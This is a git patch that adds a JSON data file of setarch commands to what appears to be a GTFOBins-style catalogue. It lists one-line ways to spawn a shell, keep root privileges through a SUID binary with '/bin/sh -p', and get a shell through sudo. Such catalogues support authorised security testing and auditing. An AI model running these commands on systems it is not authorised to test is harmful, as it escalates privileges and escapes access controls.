From 33af25c128d880e494401b3f3bf96bf0aefd833a Mon Sep 17 00:00:00 2001 From: t0thkr1s Date: Fri, 10 Jan 2020 13:02:58 +0100 Subject: [PATCH] add data for setarch --- data/setarch.json | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+) create mode 100644 data/setarch.json diff --git a/data/setarch.json b/data/setarch.json new file mode 100644 index 0000000..2673e71 --- /dev/null +++ b/data/setarch.json @@ -0,0 +1,19 @@ +{ + "functions": { + "shell": [ + { + "code": "setarch $(arch) /bin/sh" + } + ], + "suid": [ + { + "code": "./setarch $(arch) /bin/sh -p" + } + ], + "sudo": [ + { + "code": "sudo setarch $(arch) /bin/sh" + } + ] + } +} \ No newline at end of file